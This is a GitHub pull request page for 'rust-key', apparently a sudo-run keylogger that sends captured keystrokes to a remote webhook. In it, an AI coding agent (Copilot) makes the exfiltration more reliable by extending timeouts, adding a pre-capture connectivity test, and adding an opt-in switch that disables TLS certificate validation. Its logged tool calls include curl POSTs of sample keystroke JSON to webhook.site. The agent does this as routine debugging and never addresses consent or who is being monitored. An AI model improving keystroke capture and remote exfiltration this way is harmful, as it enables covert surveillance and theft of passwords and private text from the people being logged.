Skip to content

Comments

Fix webhook connectivity with configurable TLS validation and comprehensive logging#14

Draft
Copilot wants to merge 4 commits intomainfrom
copilot/fix-webhook-connection-issue
Draft

Fix webhook connectivity with configurable TLS validation and comprehensive logging#14
Copilot wants to merge 4 commits intomainfrom
copilot/fix-webhook-connection-issue

Conversation

Copy link
Contributor

Copilot AI commented Feb 3, 2026

Webhook connections were failing silently due to strict TLS certificate validation, insufficient timeouts, and lack of visibility into failure modes. Users testing with self-signed certificates (webhook.site, etc.) couldn't connect, and errors were only visible in stderr.

Changes

Configurable certificate validation (secure by default)

  • Default: strict TLS validation (secure)
  • Opt-in for testing: RUST_KEY_ACCEPT_INVALID_CERTS=true
  • Security warnings logged when insecure mode enabled

Extended connection timeout

  • 5s → 10s to accommodate slower networks

Comprehensive file-based logging

  • All webhook operations logged to keylog.txt with WEBHOOK: prefix
  • Visible when running as daemon: grep "WEBHOOK:" keylog.txt
  • Logs: initialization, connectivity tests, HTTP status codes, detailed errors

Initial connectivity test

  • POST request with empty payload before capturing keystrokes
  • Matches actual webhook usage (was GET, now POST)
  • Non-blocking: continues on failure with warning

Enhanced error reporting

  • HTTP status codes and response details
  • Specific error types (DNS, connection, timeout)
  • Logged to both stderr and file

Usage

# Secure by default (production)
sudo ./target/release/rust-key https://your-webhook.com/endpoint

# Opt-in for testing with self-signed certs
export RUST_KEY_ACCEPT_INVALID_CERTS=true
sudo ./target/release/rust-key https://webhook.site/test-id

# Troubleshoot
grep "WEBHOOK:" keylog.txt

Security

Environment variable controls certificate validation with secure defaults. Users must explicitly opt-in to accept invalid certificates for testing scenarios.

Warning

Firewall rules blocked me from connecting to one or more addresses (expand for details)

I tried to connect to the following addresses, but was blocked by firewall rules:

  • webhook.site
    • Triggering command: /usr/bin/curl curl -s -o /dev/null -w %{http_code} --connect-timeout 5 REDACTED /build/libc-5226-plugin /build/libc-5226/usr/libexec/gcc/x86_64-linux-gnu/13/liblto_plugin.so lib/rustlib/x86_-plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/13/lto-wrapper lib/�� lib/rustlib/x86_--build-id lib/rustlib/x86_--eh-frame-hdr bin/rustc lib/rustlib/x86_bash 15087-cgu.0.rcgu--norc u.o bin/rustc (dns block)
    • Triggering command: /usr/bin/curl curl -s -X POST -H Content-Type: application/json -d { "keystrokes": [ { "timestamp": "2024-01-01 12:00:00.000", "device": "Test Device", "key": "t" }, { "timestamp": "2024-01-01 12:00:00.100", "device": "Test Device", "key": "e" }, { "timestam 49ac091c3d152/bu/home/REDACTED/work/_temp/copilot-developer-action-main/dist/ripgrep/bin/linux-x64--edition=2018 /build/libc-5226-A /build/libc-52263 bin/rustc lib/�� lib/rustlib/x86_-n lib/rustlib/x86_--hidden bin/rustc lib/rustlib/x86_bash 15087-cgu.0.rcgu--norc u.o bin/rustc (dns block)
    • Triggering command: /usr/bin/curl curl -v REDACTED metadata=c69c2da457cd4259 55f.�� 55f.serde_derive.7d7244669340118a-cgu.13.rcgu.o 55f.serde_derive.7d7244669340118a-cgu.14.rcgu.o lib/rustlib/x86_64-REDACTED-linux-gnu/bin/self-contained/cc erive-f526017175/home/REDACTED/.rustup/toolchains/stable-x86_64-REDACTED-linux-gnu/bin/rustc erive-f526017175--crate-name erive-f526017175libc erive-f526017175--edition=2021 eriv�� erive-f526017175--error-format=json erive-f526017175--json=diagnostic-rendered-ansi,artifacts,future-incompat bin/rustc ve-8c1bd49aae897find ve-8c1bd49aae897/usr/lib/php ve-8c1bd49aae897-mindepth bin/rustc (dns block)

If you need me to access, download, or install something from one of these locations, you can either:


💬 We'd love your input! Share your thoughts on Copilot coding agent in our 2 minute survey.

Copilot AI and others added 3 commits February 3, 2026 10:41
…pport

- Increase connection timeout from 5s to 10s for slower networks
- Add danger_accept_invalid_certs to handle self-signed certificates and testing services
- Add comprehensive logging to keylog.txt file for all webhook operations
- Add initial connectivity test with detailed error messages
- Log all HTTP status codes and errors for debugging
- Update README with troubleshooting section for webhook issues

Co-authored-by: LangerSword <136903929+LangerSword@users.noreply.github.com>
- Make certificate validation configurable via RUST_KEY_ACCEPT_INVALID_CERTS environment variable
- Default to accepting invalid certs for testing compatibility (matches previous behavior)
- Add security warnings to logs when certificate validation is disabled
- Update README with security warning and instructions for strict validation
- Addresses code review feedback about security implications

Co-authored-by: LangerSword <136903929+LangerSword@users.noreply.github.com>
- Invert default: now REJECTS invalid certificates by default (secure)
- Users must explicitly opt-in with RUST_KEY_ACCEPT_INVALID_CERTS=true for testing
- Change initial connectivity test from GET to POST with empty payload
- Update security warnings to reflect insecure mode when enabled
- Update README to reflect secure-by-default behavior
- Addresses code review security feedback

Co-authored-by: LangerSword <136903929+LangerSword@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix webhook connection issues for site updates Fix webhook connectivity with configurable TLS validation and comprehensive logging Feb 3, 2026
Copilot AI requested a review from LangerSword February 3, 2026 10:51
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants